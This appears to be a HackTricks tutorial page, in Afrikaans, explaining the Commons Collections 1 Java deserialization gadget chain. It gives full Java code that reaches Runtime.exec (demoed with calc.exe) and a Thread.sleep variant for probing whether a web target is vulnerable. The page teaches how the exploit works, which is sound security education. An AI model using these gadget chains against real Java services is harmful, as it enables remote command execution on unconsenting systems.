hacktricks/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
2024-02-11 02:07:06 +00:00

9.8 KiB

CommonsCollection1-payload - Java Transformers na Rutime exec() en Thread Sleep

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Java Transformers na Rutime exec()

In verskeie plekke kan jy 'n Java-deserialisasie-payload vind wat transformers van Apache common collections gebruik, soos die volgende:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

As jy niks weet van Java deserialisering payloads nie, kan dit moeilik wees om uit te vind waarom hierdie kode 'n rekenaar sal uitvoer.

Eerstens moet jy weet dat 'n Transformer in Java iets is wat 'n klas ontvang en dit verander na 'n ander een.
Dit is ook interessant om te weet dat die payload wat hier uitgevoer word, gelykstaande is aan:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Of meer presies, wat aan die einde uitgevoer gaan word, sal wees:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Hoe

So, hoe is die eerste payload wat aangebied word, gelykstaande aan daardie "eenvoudige" een-liners?

Eerstens kan jy in die payload opmerk dat 'n ketting (array) van transformasies geskep word:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

As jy die kode lees, sal jy opmerk dat as jy die transformasie van die reeks op 'n sekere manier koppel, jy in staat kan wees om willekeurige opdragte uit te voer.

Dus, hoe word daardie transformasies gekoppel?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

In die laaste gedeelte van die payload kan jy sien dat 'n Map-voorwerp geskep word. Dan word die funksie decorate uitgevoer vanaf LazyMap met die map-voorwerp en die gekoppelde transformers. Uit die volgende kode kan jy sien dat dit veroorsaak dat die gekoppelde transformers gekopieer word na die lazyMap.factory eienskap:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

En dan word die groot finale uitgevoer: lazyMap.get("iets");

Hierdie is die kode van die get funksie:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

En hier is die kode van die transform funksie

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

So, onthou dat ons binne die fabriek die chainedTransformer gestoor het en binne die transform funksie gaan ons deur al daardie gekoppelde transformators en voer hulle een vir een uit. Die snaakse ding is dat elke transformator object as inset gebruik en object is die uitset van die laaste uitgevoerde transformator. Daarom word al die transformasies gekoppel en voer die skadelike payload uit.

Opsomming

Aan die einde, as gevolg van hoe die lazyMap die gekoppelde transformators binne die get-metode hanteer, is dit asof ons die volgende kode uitvoer:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Merk op hoe value die inset van elke transform is en die uitset van die vorige transform, wat die uitvoering van 'n een-regel kode moontlik maak:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Let wel dat hierdie die gadgets verduidelik is wat gebruik word vir die ComonsCollections1 payload. Maar dit is onduidelik hoe dit alles begin om uit te voer. Jy kan hier sien dat ysoserial, om hierdie payload uit te voer, 'n AnnotationInvocationHandler-objek gebruik omdat wanneer hierdie objek gedeserializeer word, dit die payload.get()-funksie sal aanroep wat die hele payload sal uitvoer.

Java Thread Sleep

Hierdie payload kan nuttig wees om te identifiseer of die web kwesbaar is, aangesien dit 'n slaap sal uitvoer as dit wel is.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Meer Gadgets

Jy kan meer gadgets hier vind: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!